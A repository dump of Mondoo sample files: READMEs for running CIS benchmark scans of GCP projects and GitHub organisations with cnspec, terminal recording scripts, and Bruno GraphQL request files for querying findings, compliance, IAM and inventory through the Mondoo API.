15 | To scan a Google Cloud project against the CIS Google Cloud Foundations Benchmark:
16 |
17 | ```bash
18 | cnspec scan gcp --project-id --policy mondoo-cis-gcp-foundations-benchmark
19 | ```
20 |
21 | This command instructs `cnspec` to scan a Google Cloud project using the CIS Google Cloud Foundations Benchmark, discovering all the resources and security issues in your account.
22 |
23 | ## Results
24 |
25 | `cnspec` generates a report detailing the security status of your GCP project according to the CIS Google Cloud Foundations Benchmark. The report will identify any security vulnerabilities or misconfigurations and recommend potential areas for improvement.
26 |
27 | 
28 |
29 | ## Troubleshoot
30 |
31 | - **`cnspec` issues**: Make sure that `cnspec` is installed correctly. If you have trouble running `cnspec`, try updating to the latest version or re-installing the tool.
32 | - **gcloud SDK CLI**: Ensure that `gcloud` CLI is [installed and configured](https://cloud.google.com/sdk/docs/install-sdk) correctly. Verify that you are using the correct account or service account credentials. If you encounter permission errors, check your IAM role and permissions.
33 | - **Benchmark execution issues**: If the benchmark does not execute as expected, ensure that you have the necessary permissions to access all resources in your Google Cloud project.
34 |
35 | If you encounter a problem that is not addressed in this guide, feel free to raise an issue in this GitHub repository. For more complex or ongoing issues, consider participating in our [GitHub discussions](https://github.com/orgs/mondoohq/discussions) page. We're here to help!
36 |
--------------------------------------------------------------------------------
/gcp/cis-benchmark/gcp-project-cis-benchmark.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/gcp/cis-benchmark/gcp-project-cis-benchmark.gif
--------------------------------------------------------------------------------
/gcp/cis-benchmark/gcp-project-cis-benchmark.mp4:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/gcp/cis-benchmark/gcp-project-cis-benchmark.mp4
--------------------------------------------------------------------------------
/gcp/cis-benchmark/recording.tape:
--------------------------------------------------------------------------------
1 | # configure vhs
2 | Set Shell bash
3 | Set FontSize 16
4 | Set Width 1200
5 | Set Height 700
6 | Set PlaybackSpeed 2.0
7 | Set Margin 20
8 | Set MarginFill "#9147FF"
9 | Set BorderRadius 10
10 |
11 | # set output
12 | Output gcp-project-cis-benchmark.gif
13 | Output gcp-project-cis-benchmark.mp4
14 |
15 | # load environment variables
16 | Hide
17 | Type "source .env"
18 | Enter
19 | Type "clear"
20 | Enter
21 | Sleep 1s
22 | Show
23 |
24 | # run commands
25 | Type "cnspec scan gcp project luna-common --policy mondoo-cis-gcp-foundations-benchmark"
26 | Sleep 500ms
27 | Enter
28 | Sleep 60s
--------------------------------------------------------------------------------
/github/cis-supply-chain/README.md:
--------------------------------------------------------------------------------
1 | # GitHub: Running the CIS GitHub Benchmark with cnspec
2 |
3 | > NOTE: CIS GitHub Benchmark requires a subscription
4 |
5 | ## Overview
6 |
7 | This guide provides an example on how to execute the CIS (Center for Internet Security) GitHub Benchmark on GitHub repositories and organizations using the `cnspec` and Mondoo Platform. These benchmarks offer a standardized set of procedures to assess the security posture of GitHub repositories and organizations, helping to identify vulnerabilities or potential areas for security enhancements.
8 |
9 | ## Pre-requisites
10 |
11 | - Mondoo Space: Create a new space on Mondoo Platform and activate the 'CIS GitHub Benchmark - Level 1' benchmark in the Security Registry.
12 | - `cnspec` Login: Authenticate with your newly created Mondoo space using `cnspec login -t ` .
13 | - Organization Access: Ensure you have access to the target GitHub organization, for example https://github.com/lunalectric.
14 | - GitHub Token: Generate a GitHub token with Resource owner set to lunalectric and all permissions set to read.
15 |
16 | ## Instructions
17 |
18 | ### CLI: Scanning an Individual Repository
19 |
20 | Set your GitHub token as an environment variable with the name GITHUB_TOKEN:
21 |
22 | ```bash
23 | export GITHUB_TOKEN='your_github_token'
24 | ```
25 |
26 | > Note: GitHub's fine-grained tokens currently do not allow you to verify packages. For updates, follow this GitHub Roadmap issue.
27 |
28 | Then, use `cnspec` to scan an individual repository. For example, to scan the online-shop repository in the lunalectric organization with the mondoo-github-organization-security-level-1 policy, use the following command:
29 |
30 | ```bash
31 | cnspec scan github repo lunalectric/online-shop
32 | ```
33 |
34 | ### Scanning the Organization
35 |
36 | To scan all repositories in the `lunalectric` organization with the `mondoo-github-organization-security-level-1` policy, use the following command:
37 |
38 | ```bash
39 | cnspec scan github org lunalectric --discover organization
40 | ```
41 |
42 | ### Mondoo Platform
43 |
44 | For more detailed instructions, visit the [Mondoo Platform Documentation](https://mondoo.com/docs/platform/infra/saas/github/). Remember to enable the `CIS GitHub Benchmark - Level 1` benchmark as described in the documentation.
45 |
46 | ## Results
47 |
48 | Upon successfully running the commands, `cnspec` will generate a report detailing the security status of the scanned GitHub repository or organization. This report will identify any security vulnerabilities and recommend potential areas for improvement in accordance with the CIS GitHub Benchmark.
49 |
50 | 
51 |
52 | ## Troubleshoot
53 |
54 | If you encounter any issues while performing these steps:
55 |
56 | - Authentication Issues: Double-check your Mondoo credentials with `cnspec status` and GitHub token. Ensure they are set correctly in the environment variables.
57 | - Permission Issues: Verify that you have the necessary permissions to access and scan the GitHub organization or repositories. This may involve checking the settings of your GitHub token and your role within the organization.
58 | - Command Execution Issues: If the `cnspec`` commands are not executing as expected, ensure that cnspec is installed and updated to the latest version.
59 |
60 | Should you encounter a problem that is not addressed in this guide, feel free to open an issue in this GitHub repository. For ongoing issues or broader discussions, we invite you to join us over at our [GitHub discussions](https://github.com/orgs/mondoohq/discussions) page. We're here to help!
61 |
--------------------------------------------------------------------------------
/github/cis-supply-chain/github-supply-chain.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/github/cis-supply-chain/github-supply-chain.gif
--------------------------------------------------------------------------------
/github/cis-supply-chain/github-supply-chain.mp4:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/github/cis-supply-chain/github-supply-chain.mp4
--------------------------------------------------------------------------------
/github/cis-supply-chain/recording.tape:
--------------------------------------------------------------------------------
1 | # configure vhs
2 | Set Shell bash
3 | Set FontSize 16
4 | Set Width 1200
5 | Set Height 700
6 | Set PlaybackSpeed 2.0
7 | Set Margin 20
8 | Set MarginFill "#9147FF"
9 | Set BorderRadius 10
10 |
11 | # set output
12 | Output github-supply-chain.gif
13 | Output github-supply-chain.mp4
14 |
15 | # load environment variables
16 | Hide
17 | Type "source .env"
18 | Enter
19 | Type "clear"
20 | Enter
21 | Sleep 1s
22 | Show
23 |
24 | # run commands
25 | Type "cnspec scan github org lunalectric --discover organization"
26 | Sleep 500ms
27 | Enter
28 | Sleep 65s
--------------------------------------------------------------------------------
/graphql-api/.gitignore:
--------------------------------------------------------------------------------
1 | .env
--------------------------------------------------------------------------------
/graphql-api/Compliance/Framework- Disable.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: Disable
3 | type: graphql
4 | seq: 2
5 | }
6 |
7 | post {
8 | url: https://{{endpoint}}/query
9 | body: graphql
10 | auth: bearer
11 | }
12 |
13 | auth:bearer {
14 | token: {{MONDOO_API_TOKEN}}
15 | }
16 |
17 | body:graphql {
18 | mutation ApplyFramework($input: ComplianceFrameworkMutationInput!) {
19 | applyFrameworkMutation(input: $input)
20 | }
21 |
22 | }
23 |
24 | body:graphql:vars {
25 | {
26 | "input": {
27 | "action": "PREVIEW",
28 | "frameworkMrn": "//policy.api.mondoo.app/frameworks/iso-27001-2022",
29 | "scopeMrn": "{{spaceMrn}}"
30 | }
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/graphql-api/Compliance/Framework- Enable.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: Enable
3 | type: graphql
4 | seq: 1
5 | }
6 |
7 | post {
8 | url: https://{{endpoint}}/query
9 | body: graphql
10 | auth: bearer
11 | }
12 |
13 | auth:bearer {
14 | token: {{MONDOO_API_TOKEN}}
15 | }
16 |
17 | body:graphql {
18 | mutation ApplyFramework($input: ComplianceFrameworkMutationInput!) {
19 | applyFrameworkMutation(input: $input)
20 | }
21 |
22 | }
23 |
24 | body:graphql:vars {
25 | {
26 | "input": {
27 | "action": "ENABLE",
28 | "frameworkMrn": "//policy.api.mondoo.app/frameworks/iso-27001-2022",
29 | "scopeMrn": "{{spaceMrn}}"
30 | }
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/graphql-api/Compliance/folder.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: Compliance
3 | seq: 6
4 | }
5 |
--------------------------------------------------------------------------------
/graphql-api/Findings/Asset- Findings - Advisories.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: Findings - Advisories
3 | type: graphql
4 | seq: 3
5 | }
6 |
7 | post {
8 | url: https://{{endpoint}}/query
9 | body: graphql
10 | auth: bearer
11 | }
12 |
13 | auth:bearer {
14 | token: {{MONDOO_API_TOKEN}}
15 | }
16 |
17 | body:graphql {
18 | query GetAdvisories(
19 | $scopeMrn: String!
20 | $first: Int
21 | $after: String
22 | $last: Int
23 | $before: String
24 | $orderBy: FindingsOrder
25 | $filter: FindingsFilter
26 | ) {
27 | findings(
28 | scopeMrn: $scopeMrn
29 | first: $first
30 | after: $after
31 | last: $last
32 | before: $before
33 | orderBy: $orderBy
34 | filter: $filter
35 | ) {
36 | ... on FindingsConnection {
37 | totalCount
38 | filteredTotalCount
39 | edges {
40 | cursor
41 | node {
42 | ... on AdvisoryFinding {
43 | id
44 | mrn
45 | title
46 | asset {
47 | id
48 | }
49 | rating
50 | riskValue
51 | lastUpdated
52 | publishedAt
53 | firstDetectedAt
54 | iconId
55 | tags {
56 | key
57 | value
58 | }
59 | riskFactors {
60 | mrn
61 | indicator
62 | title
63 | affected
64 | total
65 | isPositive
66 | }
67 | state
68 | exception {
69 | id
70 | exceptionId
71 | scope
72 | reviewStatus
73 | action
74 | }
75 | }
76 | }
77 | }
78 | pageInfo {
79 | startCursor
80 | endCursor
81 | hasNextPage
82 | hasPreviousPage
83 | }
84 | }
85 | ... on RequestError {
86 | message
87 | code
88 | }
89 | ... on NotFoundError {
90 | message
91 | code
92 | }
93 | }
94 | }
95 |
96 | }
97 |
98 | body:graphql:vars {
99 | {
100 | "scopeMrn": "//assets.api.mondoo.app/spaces/amazing-dhawan-655469/assets/2xBRZXUn3AY0SubVEY6y8as6k8P",
101 | "first": 10,
102 | "orderBy": {
103 | "direction": "DESC",
104 | "field": "RISK_VALUE"
105 | },
106 | "filter": {
107 | "types": [
108 | "ADVISORY"
109 | ],
110 | "state": "OPEN",
111 | "rating": [
112 | "LOW",
113 | "MEDIUM",
114 | "HIGH",
115 | "CRITICAL"
116 | ],
117 | "queryTerms": [],
118 | "includeCicd": false
119 | }
120 | }
121 | }
122 |
--------------------------------------------------------------------------------
/graphql-api/Findings/Asset- Findings - Check.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: Findings - Check
3 | type: graphql
4 | seq: 1
5 | }
6 |
7 | post {
8 | url: https://{{endpoint}}/query
9 | body: graphql
10 | auth: bearer
11 | }
12 |
13 | auth:bearer {
14 | token: {{MONDOO_API_TOKEN}}
15 | }
16 |
17 | body:graphql {
18 | query GetChecks(
19 | $scopeMrn: String!
20 | $first: Int
21 | $after: String
22 | $last: Int
23 | $before: String
24 | $orderBy: FindingsOrder
25 | $filter: FindingsFilter
26 | ) {
27 | findings(
28 | scopeMrn: $scopeMrn
29 | first: $first
30 | after: $after
31 | last: $last
32 | before: $before
33 | orderBy: $orderBy
34 | filter: $filter
35 | ) {
36 | ... on FindingsConnection {
37 | totalCount
38 | filteredTotalCount
39 | edges {
40 | cursor
41 | node {
42 | ... on CheckFinding {
43 | id
44 | mrn
45 | title
46 | asset {
47 | id
48 | }
49 | rating
50 | state
51 | resultType
52 | riskValue
53 | state
54 | lastUpdated
55 | tags {
56 | key
57 | value
58 | }
59 | riskFactors {
60 | mrn
61 | indicator
62 | title
63 | affected
64 | total
65 | isPositive
66 | }
67 | exception {
68 | id
69 | exceptionId
70 | scope
71 | reviewStatus
72 | action
73 | justification
74 | }
75 | }
76 | }
77 | }
78 | pageInfo {
79 | startCursor
80 | endCursor
81 | hasNextPage
82 | hasPreviousPage
83 | }
84 | }
85 | ... on RequestError {
86 | message
87 | code
88 | }
89 | ... on NotFoundError {
90 | message
91 | code
92 | }
93 | }
94 | }
95 |
96 | }
97 |
98 | body:graphql:vars {
99 | {
100 | "scopeMrn": "{{spaceMrn}}",
101 | "first": 10,
102 | "orderBy": {
103 | "direction": "DESC",
104 | "field": "RISK_VALUE"
105 | }
106 | }
107 | }
108 |
--------------------------------------------------------------------------------
/graphql-api/Findings/Asset- Findings - Software.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: Findings - Software
3 | type: graphql
4 | seq: 4
5 | }
6 |
7 | post {
8 | url: https://{{endpoint}}/query
9 | body: graphql
10 | auth: bearer
11 | }
12 |
13 | auth:bearer {
14 | token: {{MONDOO_API_TOKEN}}
15 | }
16 |
17 | body:graphql {
18 | query GetAssetPackages(
19 | $scopeMrn: String!
20 | $first: Int
21 | $after: String
22 | $last: Int
23 | $before: String
24 | $orderBy: FindingsOrder
25 | $filter: FindingsFilter
26 | ) {
27 | findings(
28 | scopeMrn: $scopeMrn
29 | first: $first
30 | after: $after
31 | last: $last
32 | before: $before
33 | orderBy: $orderBy
34 | filter: $filter
35 | ) {
36 | ... on FindingsConnection {
37 | edges {
38 | cursor
39 | node {
40 | ... on PackageFinding {
41 | id
42 | baseScore
43 | riskValue
44 | rating
45 | packageName
46 | installedVersion
47 | availableVersion
48 | lastUpdated
49 | firstFound
50 | cvss {
51 | value
52 | vector
53 | }
54 | epss {
55 | probability
56 | percentile
57 | }
58 | iconId
59 | packageType
60 | riskFactors {
61 | mrn
62 | indicator
63 | title
64 | affected
65 | total
66 | isPositive
67 | }
68 | platform
69 | tags {
70 | key
71 | value
72 | }
73 | asset {
74 | id
75 | mrn
76 | name
77 | icon
78 | lastUpdated
79 | platform {
80 | name
81 | title
82 | arch
83 | version
84 | kind
85 | runtime
86 | family
87 | labels {
88 | key
89 | value
90 | }
91 | }
92 | }
93 | }
94 | }
95 | }
96 | filteredTotalCount
97 | pageInfo {
98 | startCursor
99 | endCursor
100 | hasNextPage
101 | hasPreviousPage
102 | }
103 | totalCount
104 | }
105 | ... on RequestError {
106 | message
107 | code
108 | }
109 | ... on NotFoundError {
110 | message
111 | code
112 | }
113 | }
114 | }
115 |
116 | }
117 |
118 | body:graphql:vars {
119 | {
120 | "scopeMrn": "//assets.api.mondoo.app/spaces/amazing-dhawan-655469/assets/2xBRZXUn3AY0SubVEY6y8as6k8P",
121 | "first": 10,
122 | "filter": {
123 | "queryTerms": [],
124 | "types": [
125 | "OS_PACKAGE",
126 | "PACKAGE"
127 | ],
128 | "includeCicd": false,
129 | "state": "OPEN"
130 | },
131 | "orderBy": {
132 | "direction": "DESC",
133 | "field": "RISK_VALUE"
134 | }
135 | }
136 | }
137 |
--------------------------------------------------------------------------------
/graphql-api/Findings/Asset- Findings - Vulnerabiltiies.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: Findings - Vulnerabiltiies
3 | type: graphql
4 | seq: 2
5 | }
6 |
7 | post {
8 | url: https://{{endpoint}}/query
9 | body: graphql
10 | auth: bearer
11 | }
12 |
13 | auth:bearer {
14 | token: {{MONDOO_API_TOKEN}}
15 | }
16 |
17 | body:graphql {
18 | query GetCVEs(
19 | $scopeMrn: String!
20 | $first: Int
21 | $after: String
22 | $last: Int
23 | $before: String
24 | $orderBy: FindingsOrder
25 | $filter: FindingsFilter
26 | ) {
27 | findings(
28 | scopeMrn: $scopeMrn
29 | first: $first
30 | after: $after
31 | last: $last
32 | before: $before
33 | orderBy: $orderBy
34 | filter: $filter
35 | ) {
36 | ... on FindingsConnection {
37 | totalCount
38 | filteredTotalCount
39 | edges {
40 | cursor
41 | node {
42 | ... on CveFinding {
43 | id
44 | mrn
45 | title
46 | asset {
47 | id
48 | }
49 | rating
50 | riskValue
51 | lastUpdated
52 | publishedAt
53 | state
54 | tags {
55 | key
56 | value
57 | }
58 | riskFactors {
59 | mrn
60 | indicator
61 | title
62 | affected
63 | total
64 | isPositive
65 | }
66 | lastUpdated
67 | exception {
68 | id
69 | exceptionId
70 | scope
71 | reviewStatus
72 | action
73 | }
74 | }
75 | }
76 | }
77 | pageInfo {
78 | startCursor
79 | endCursor
80 | hasNextPage
81 | hasPreviousPage
82 | }
83 | }
84 | ... on RequestError {
85 | message
86 | code
87 | }
88 | ... on NotFoundError {
89 | message
90 | code
91 | }
92 | }
93 | }
94 |
95 | }
96 |
97 | body:graphql:vars {
98 | {
99 | "scopeMrn": "//assets.api.mondoo.app/spaces/amazing-dhawan-655469/assets/2xBRZXUn3AY0SubVEY6y8as6k8P",
100 | "first": 10,
101 | "orderBy": { "direction": "DESC", "field": "RISK_VALUE" },
102 | "filter": {
103 | "types": ["CVE"],
104 | "state": "OPEN",
105 | "rating": ["LOW", "MEDIUM", "HIGH", "CRITICAL"],
106 | "queryTerms": [],
107 | "includeCicd": false
108 | }
109 | }
110 | }
111 |
--------------------------------------------------------------------------------
/graphql-api/Findings/Space- Findings.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: Findings
3 | type: graphql
4 | seq: 5
5 | }
6 |
7 | post {
8 | url: https://{{endpoint}}/query
9 | body: graphql
10 | auth: bearer
11 | }
12 |
13 | auth:bearer {
14 | token: {{MONDOO_API_TOKEN}}
15 | }
16 |
17 | body:graphql {
18 | query GetAggregateScores(
19 | $entityMrn: String!
20 | $filter: AggregateScoreFilter
21 | $first: Int
22 | $after: String
23 | $last: Int
24 | $before: String
25 | $orderBy: AggregateScoreOrder
26 | ) {
27 | aggregateScores(
28 | entityMrn: $entityMrn
29 | filter: $filter
30 | first: $first
31 | after: $after
32 | last: $last
33 | before: $before
34 | orderBy: $orderBy
35 | ) {
36 | ... on AggregateScoresConnection {
37 | totalCount
38 | edges {
39 | cursor
40 | node {
41 | id
42 | iconId
43 | state
44 | entity {
45 | ... on EntityInfoAsset {
46 | id
47 | mrn
48 | name
49 | __typename
50 | }
51 | ... on EntityInfoSpace {
52 | id
53 | mrn
54 | name
55 | __typename
56 | }
57 | __typename
58 | }
59 | findingMrn
60 | rank
61 | baseScore
62 | riskValue
63 | rankScore
64 | scoreType
65 | rating
66 | blastRadius {
67 | ...BlastRadiusFields
68 | __typename
69 | }
70 | epss {
71 | probability
72 | percentile
73 | __typename
74 | }
75 | cvss {
76 | id
77 | value
78 | type
79 | vector
80 | source
81 | rating
82 | __typename
83 | }
84 | riskFactors {
85 | mrn
86 | indicator
87 | title
88 | total
89 | affected
90 | isPositive
91 | __typename
92 | }
93 | detectionSources {
94 | name
95 | firstDetectedAt
96 | lastUpdatedAt
97 | affectedAssets
98 | vendor
99 | __typename
100 | }
101 | title
102 | description
103 | tags {
104 | key
105 | value
106 | __typename
107 | }
108 | lastScannedAt
109 | firstDetectedAt
110 | remediatedAt
111 | spaceId
112 | exception {
113 | id
114 | exceptionId
115 | reviewStatus
116 | action
117 | __typename
118 | }
119 | __typename
120 | }
121 | __typename
122 | }
123 | pageInfo {
124 | startCursor
125 | endCursor
126 | hasNextPage
127 | hasPreviousPage
128 | __typename
129 | }
130 | __typename
131 | }
132 | ... on RequestError {
133 | message
134 | code
135 | __typename
136 | }
137 | ... on NotFoundError {
138 | message
139 | code
140 | __typename
141 | }
142 | __typename
143 | }
144 | }
145 | fragment BlastRadiusFields on BlastRadius {
146 | indicator
147 | assets
148 | affected
149 | critical
150 | high
151 | medium
152 | low
153 | none
154 | snoozed
155 | disabled
156 | __typename
157 | }
158 |
159 | }
160 |
161 | body:graphql:vars {
162 | {
163 | "entityMrn": "{{spaceMrn}}",
164 | "first": 50,
165 | "orderBy": { "direction": "ASC", "field": "RANK" },
166 | "filter": {
167 | "scoreTypes": ["CHECK", "VULNERABILITY"],
168 | "queryTerms": [],
169 | "minRiskValue": null,
170 | "findingMrn": null,
171 | "risks": { "indicators": [], "mrns": { "and": [], "or": [] } }
172 | }
173 | }
174 | }
175 |
--------------------------------------------------------------------------------
/graphql-api/Findings/folder.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: Findings
3 | seq: 5
4 | }
5 |
--------------------------------------------------------------------------------
/graphql-api/IAM/SSH- Add Key.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: Add Key
3 | type: graphql
4 | seq: 2
5 | }
6 |
7 | post {
8 | url: https://{{endpoint}}/query
9 | body: graphql
10 | auth: bearer
11 | }
12 |
13 | auth:bearer {
14 | token: {{MONDOO_API_TOKEN}}
15 | }
16 |
17 | body:graphql {
18 | mutation {
19 | addSSHKey (
20 | input:{
21 | mrn: "//captain.api.mondoo.app/users/123456",
22 | content: "ssh-ed25519 AAAAC..Nn0UL"
23 | }) {
24 | success
25 | }
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/graphql-api/IAM/SSH- List Keys.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: List Keys
3 | type: graphql
4 | seq: 1
5 | }
6 |
7 | post {
8 | url: https://{{endpoint}}/query
9 | body: graphql
10 | auth: bearer
11 | }
12 |
13 | auth:bearer {
14 | token: {{MONDOO_API_TOKEN}}
15 | }
16 |
17 | body:graphql {
18 | {
19 | # need user permissions, not possible with api token
20 | viewer {
21 | mrn
22 | email
23 | sshKeys {
24 | fingerprint
25 | content
26 | }
27 | }
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/graphql-api/IAM/Service Account- List.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: List
3 | type: graphql
4 | seq: 3
5 | }
6 |
7 | post {
8 | url: https://{{endpoint}}/query
9 | body: graphql
10 | auth: bearer
11 | }
12 |
13 | auth:bearer {
14 | token: {{MONDOO_API_TOKEN}}
15 | }
16 |
17 | body:graphql {
18 | # To list all service accounts, the API Token needs Editor permissions
19 | query ServiceAccounts(
20 | $scopeMrn: String
21 | $first: Int
22 | $after: String
23 | $query: String
24 | $queryTerms: [String!]
25 | $orderBy: ServiceAccountOrder
26 | ) {
27 | serviceAccounts(
28 | scopeMrn: $scopeMrn
29 | first: $first
30 | after: $after
31 | query: $query
32 | queryTerms: $queryTerms
33 | orderBy: $orderBy
34 | ) {
35 | ...ServiceAccountFields
36 | __typename
37 | }
38 | }
39 | fragment ServiceAccountFields on ServiceAccountConnection {
40 | totalCount
41 | edges {
42 | cursor
43 | node {
44 | id
45 | mrn
46 | name
47 | description
48 | roles {
49 | mrn
50 | title
51 | __typename
52 | }
53 | createdAt
54 | lastUsed
55 | labels {
56 | key
57 | value
58 | __typename
59 | }
60 | creator {
61 | mrn
62 | email
63 | service
64 | __typename
65 | }
66 | notes
67 | __typename
68 | }
69 | __typename
70 | }
71 | pageInfo {
72 | startCursor
73 | endCursor
74 | hasNextPage
75 | __typename
76 | }
77 | __typename
78 | }
79 |
80 | }
81 |
82 | body:graphql:vars {
83 | {
84 | "scopeMrn": "{{spaceMrn}}"
85 | }
86 | }
87 |
--------------------------------------------------------------------------------
/graphql-api/IAM/WIF- Create Binding.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: Create Binding
3 | type: graphql
4 | seq: 3
5 | }
6 |
7 | post {
8 | url: http://{{endpoint}}/query
9 | body: graphql
10 | auth: bearer
11 | }
12 |
13 | auth:bearer {
14 | token: {{MONDOO_API_TOKEN}}
15 | }
16 |
17 | body:graphql {
18 | mutation {
19 | createWIFAuthBinding(
20 | input: {
21 | name: "test"
22 | scopeMrn: "{{spaceMrn}}"
23 | issuerUri: "https://accounts.google.com"
24 | subject: "1234567890"
25 | }
26 | ) {
27 | binding {
28 | mrn
29 | name
30 | }
31 | config {
32 | audience
33 | issuer_uri
34 | }
35 | }
36 | }
37 |
38 | }
39 |
--------------------------------------------------------------------------------
/graphql-api/IAM/WIF- Exchange Token.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: Exchange Token
3 | type: http
4 | seq: 5
5 | }
6 |
7 | post {
8 | url: http://{{endpoint}}/SecureTokenService/ExchangeExternalToken
9 | body: json
10 | auth: bearer
11 | }
12 |
13 | auth:bearer {
14 | token: {{MONDOO_API_TOKEN}}
15 | }
16 |
17 | body:json {
18 | {
19 | "audience": "{{spaceMrn}}",
20 | "issuer_uri": "https://accounts.google.com",
21 | "jwt_token": "eyJhbGc...UPgxYdJRw"
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/graphql-api/IAM/WIF- List Bindings.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: List Bindings
3 | type: graphql
4 | seq: 4
5 | }
6 |
7 | post {
8 | url: http://{{endpoint}}/query
9 | body: graphql
10 | auth: bearer
11 | }
12 |
13 | auth:bearer {
14 | token: {{MONDOO_API_TOKEN}}
15 | }
16 |
17 | body:graphql {
18 | query {
19 | listWIFAuthBindings(scopeMrn: "{{spaceMrn}}") {
20 | bindings {
21 | name
22 | issuerURI
23 | scope
24 | }
25 | }
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/graphql-api/IAM/folder.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: IAM
3 | seq: 7
4 | }
5 |
--------------------------------------------------------------------------------
/graphql-api/Inventory/Assets- List.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: List
3 | type: graphql
4 | seq: 2
5 | }
6 |
7 | post {
8 | url: https://{{endpoint}}/query
9 | body: graphql
10 | auth: bearer
11 | }
12 |
13 | auth:bearer {
14 | token: {{MONDOO_API_TOKEN}}
15 | }
16 |
17 | body:graphql {
18 | query Assets {
19 | assets(spaceMrn: "{{spaceMrn}}") {
20 | totalCount
21 | edges {
22 | cursor
23 | node {
24 | id
25 | mrn
26 | state
27 | name
28 | updatedAt
29 | referenceIDs
30 | asset_type
31 | score {
32 | grade
33 | value
34 | }
35 | }
36 | }
37 | }
38 | }
39 |
40 | }
41 |
--------------------------------------------------------------------------------
/graphql-api/Inventory/Query Pack- List Available.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: List Available
3 | type: graphql
4 | seq: 3
5 | }
6 |
7 | post {
8 | url: https://{{endpoint}}/query
9 | body: graphql
10 | auth: bearer
11 | }
12 |
13 | auth:bearer {
14 | token: {{MONDOO_API_TOKEN}}
15 | }
16 |
17 | body:graphql {
18 | {
19 | content(
20 | input: {
21 | scopeMrn: "{{spaceMrn}}"
22 | catalogType: QUERYPACK
23 | assignedOnly: false
24 | includePrivate: true
25 | includePublic: true
26 | }
27 | ) {
28 | totalCount
29 | edges {
30 | node {
31 | __typename
32 | ... on Policy {
33 | mrn
34 | name
35 | version
36 | summary
37 | category
38 | trustLevel
39 | }
40 | }
41 | }
42 | }
43 | }
44 |
45 | }
46 |
--------------------------------------------------------------------------------
/graphql-api/Inventory/Query Pack- List Enabled.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: List Enabled
3 | type: graphql
4 | seq: 4
5 | }
6 |
7 | post {
8 | url: https://{{endpoint}}/query
9 | body: graphql
10 | auth: bearer
11 | }
12 |
13 | auth:bearer {
14 | token: {{MONDOO_API_TOKEN}}
15 | }
16 |
17 | body:graphql {
18 | {
19 | content(
20 | input: { scopeMrn: "{{spaceMrn}}", catalogType:QUERYPACK, assignedOnly: true }
21 | ) {
22 | totalCount
23 | edges {
24 | node {
25 | __typename
26 | ... on Policy {
27 | mrn
28 | name
29 | version
30 | summary
31 | category
32 | trustLevel
33 | }
34 | }
35 | }
36 | }
37 | }
38 |
39 | }
40 |
--------------------------------------------------------------------------------
/graphql-api/Inventory/Search.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: Search
3 | type: graphql
4 | seq: 1
5 | }
6 |
7 | post {
8 | url: https://{{endpoint}}/query
9 | body: graphql
10 | auth: bearer
11 | }
12 |
13 | auth:bearer {
14 | token: {{MONDOO_API_TOKEN}}
15 | }
16 |
17 | body:graphql {
18 | query SearchAggregateScore($scopeMrn:String!, $query:String!) {
19 | search(query: $query, scope:$scopeMrn, type:AGGREGATE_SCORE) {
20 | edges {
21 | node {
22 | ... on AggregateScore {
23 | id
24 | title
25 | description
26 | tags {
27 | key
28 | value
29 | }
30 | scoreType
31 | findingMrn
32 | entity {
33 | __typename
34 | ... on EntityInfoAsset{
35 | mrn
36 | name
37 | }
38 | ... on EntityInfoSpace {
39 | mrn
40 | name
41 | }
42 | }
43 | rank
44 | riskScore
45 | epss {
46 | probability
47 | percentile
48 | }
49 | blastRadius {
50 | indicator
51 | }
52 | riskFactors {
53 | indicator
54 | title
55 | mrn
56 | }
57 | }
58 | }
59 | }
60 | }
61 | }
62 |
63 |
64 |
65 |
66 | }
67 |
68 | body:graphql:vars {
69 | {
70 | "scopeMrn": "{{spaceMrn}}",
71 | "query" : "ebs"
72 | }
73 | }
74 |
--------------------------------------------------------------------------------
/graphql-api/Inventory/folder.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: Inventory
3 | seq: 3
4 | }
5 |
--------------------------------------------------------------------------------
/graphql-api/README.md:
--------------------------------------------------------------------------------
1 | # Mondoo GraphQL API Samples
2 |
3 | This repository contains sample queries for the Mondoo GraphQL API. The queries are written in GraphQL and can be executed using the [Bruno](https://docs.usebruno.com/).
4 |
5 | ## Getting Started
6 |
7 | - Clone this repository
8 | - Install Bruno
9 | - Setup .env file with your Mondoo API key
10 |
11 |
12 | ## API Key
13 |
14 | To get started with the Mondoo API, you need to create an API key. You can create an API key in the Mondoo console. Then create a `.env` file in the root of the repository with the following content:
15 |
16 | ```
17 | MONDOO_API_TOKEN=your-api-key
18 | MONDOO_ENDPOINT=us.api.mondoo.com
19 | SPACE_MRN=//captain.api.mondoo.app/spaces/mystifying-jennings-299629
20 | ORG_MRN=//captain.api.mondoo.app/organizations/lunalectric
21 | ```
22 |
